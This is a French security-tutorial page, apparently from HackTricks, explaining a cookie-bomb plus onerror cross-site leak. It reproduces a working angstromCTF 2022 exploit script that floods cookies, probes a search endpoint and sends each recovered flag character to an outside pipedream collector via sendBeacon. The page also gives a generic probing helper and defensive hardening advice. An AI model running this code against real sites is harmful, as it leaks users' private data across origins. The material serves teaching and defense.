# Cookie Bomb + Onerror XS Leak

{{#include ../../banners/hacktricks-training.md}}

Cette technique combine :
- Cookie bombing: remplir le navigateur de la victime avec de nombreux/volumineux cookies pour l'origine cible afin que les requêtes suivantes atteignent les limites du serveur/de la requête (taille des en-têtes de requête, taille de l'URL dans les redirections, etc.).
- Error-event oracle: sondant un endpoint cross-origin avec un <script> (ou une autre sous-ressource) et distinguant les états via onload vs onerror.

Idée générale
- Trouvez un endpoint cible dont le comportement diffère selon deux états que vous voulez tester (p. ex., recherche “hit” vs “miss”).
- Assurez-vous que le chemin “hit” déclenchera une lourde chaîne de redirections ou une URL longue tandis que le chemin “miss” reste court. Gonflez les en-têtes de requête en ajoutant de nombreux cookies pour que seul le chemin “hit” fasse dépasser une limite côté serveur et retourne une erreur HTTP (p.ex., 431/414/400). L'erreur inverse l'événement onerror et devient un oracle pour XS-Search.

Quand cela fonctionne
- Vous pouvez amener le navigateur de la victime à envoyer des cookies vers la cible (p.ex., les cookies sont SameSite=None ou vous pouvez les définir en contexte first-party via un popup window.open).
- Il existe une fonctionnalité de l'application que vous pouvez abuser pour définir des cookies arbitraires (p.ex., des endpoints “save preference” qui transforment des noms/valeurs contrôlés en Set-Cookie) ou pour effectuer des redirections post-auth qui incorporent des données contrôlées par l'attaquant dans l'URL.
- Le serveur réagit différemment selon les deux états et, avec des en-têtes/URL gonflés, un état dépasse une limite et renvoie une réponse d'erreur qui déclenche onerror.

Remarque sur les erreurs serveur utilisées comme oracle
- 431 Request Header Fields Too Large est couramment renvoyé lorsque les cookies gonflent les en-têtes de requête ; 414 URI Too Long ou un 400 spécifique au serveur peuvent être renvoyés pour des cibles de requête longues. Chacun de ces cas entraîne un échec du chargement de la sous-ressource et déclenche onerror. [MDN documents 431 and typical causes like excessive cookies.]()

Exemple pratique (angstromCTF 2022)
Le script suivant (tiré d'un writeup public) abuse d'une fonctionnalité qui permet à l'attaquant d'insérer des cookies arbitraires, puis charge un endpoint de recherche cross-origin en tant que script. Quand la requête est correcte, le serveur effectue une redirection qui, combinée à la surcharge de cookies, dépasse les limites du serveur et renvoie un statut d'erreur, de sorte que script.onerror est déclenché ; sinon rien ne se passe.
```html
<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
<input id="f" /><input name="search" value="a" />
</form>
<script>
const $ = document.querySelector.bind(document)
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
let i = 0
const stuff = async (len = 3500) => {
let name = Math.random()
$("form").target = name
let w = window.open("", name)
$("#f").value = "_".repeat(len)
$("#f").name = i++
$("form").submit()
await sleep(100)
}
const isError = async (url) => {
return new Promise((r) => {
let script = document.createElement("script")
script.src = url
script.onload = () => r(false)
script.onerror = () => r(true)
document.head.appendChild(script)
})
}
const search = (query) => {
return isError(
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
)
}
const alphabet =
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
const url = "//en4u1nbmyeahu.x.pipedream.net/"
let known = "actf{"
window.onload = async () => {
navigator.sendBeacon(url + "?load")
await Promise.all([stuff(), stuff(), stuff(), stuff()])
await stuff(1600)
navigator.sendBeacon(url + "?go")
while (true) {
for (let c of alphabet) {
let query = known + c
if (await search(query)) {
navigator.sendBeacon(url, query)
known += c
break
}
}
}
}
</script>
```
Pourquoi le popup (window.open) ?
- Les navigateurs modernes bloquent de plus en plus les third-party cookies. Ouvrir une top-level window vers la cible rend les cookies first-party, donc les réponses Set-Cookie de la cible seront persistées, permettant l'étape cookie-bomb même avec les restrictions sur les third-party cookies.

Generic probing helper
Si vous disposez déjà d'un moyen de définir de nombreux cookies sur l'origine cible (first-party), vous pouvez réutiliser cet oracle minimal contre n'importe quel endpoint dont le succès/échec entraîne des résultats réseau différents (status/MIME/redirect) :
```js
function probeError(url) {
return new Promise((resolve) => {
const s = document.createElement('script');
s.src = url;
s.onload = () => resolve(false);  // loaded successfully
s.onerror = () => resolve(true);  // failed (e.g., 4xx/5xx, wrong MIME, blocked)
document.head.appendChild(s);
});
}
```
Conseils pour construire l'oracle
- Forcez l'état “positif” à être plus lourd : enchaînez un redirect supplémentaire uniquement lorsque le prédicat est vrai, ou faites en sorte que le redirect URL reflète une entrée utilisateur non bornée afin qu'elle croisse avec le préfixe deviné.
- Gonflez les en-têtes : répétez le cookie bombing jusqu'à observer une erreur cohérente sur le chemin “lourd”. Les serveurs plafonnent couramment la taille des en-têtes et échoueront plus tôt lorsque de nombreux cookies sont présents.
- Stabilisez : lancez plusieurs opérations de Set-Cookie en parallèle et sondez de manière répétée pour lisser le bruit lié au timing et au cache.

Astuces XS-Search associées
- Des oracles basés sur la longueur de l'URL (pas de cookies nécessaires) peuvent être combinés ou utilisés à la place lorsque vous pouvez forcer une cible de requête très longue :

{{#ref}}
url-max-length-client-side.md
{{#endref}}

Défenses et durcissement
- Rendre les réponses succès/échec indistinguables :
  - Évitez les conditional redirects ou de grandes différences de taille de réponse entre les états. Retournez le même statut, le même type de contenu et une longueur de corps similaire quel que soit l'état.
- Bloquer les sondages de sous-ressources cross-site :
  - SameSite cookies : définir les cookies sensibles sur SameSite=Lax ou Strict pour que les requêtes de sous-ressource comme <script src> ne les transportent pas ; préférer Strict pour les auth tokens quand c'est possible.
  - Fetch Metadata : appliquer une Resource Isolation Policy pour rejeter les chargements de sous-ressources cross-site (par ex., si Sec-Fetch-Site != same-origin/same-site).
  - Cross-Origin-Resource-Policy (CORP) : définir CORP: same-origin (ou au minimum same-site) pour les endpoints qui ne doivent pas être embarqués comme sous-ressources cross-origin.
  - X-Content-Type-Options: nosniff et Content-Type correct sur les endpoints JSON/HTML pour éviter les bizarreries de load-as-script.
- Réduire l'amplification en-têtes/URL :
  - Limiter le nombre/la taille des cookies définis ; assainir les fonctionnalités qui transforment des champs de formulaire arbitraires en Set-Cookie.
  - Normaliser ou tronquer les données reflétées dans les redirects ; éviter d'embarquer de longues chaînes contrôlées par l'attaquant dans les Location URLs.
  - Maintenir des limites serveur cohérentes et échouer de façon uniforme (éviter des pages d'erreur spéciales uniquement pour une branche).

Remarques
- Cette classe d'attaques est largement discutée comme “Error Events” XS-Leaks. L'étape cookie-bomb est juste un moyen pratique de pousser une seule branche au-delà des limites serveur, produisant un oracle booléen fiable.



## Références
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
{{#include ../../banners/hacktricks-training.md}}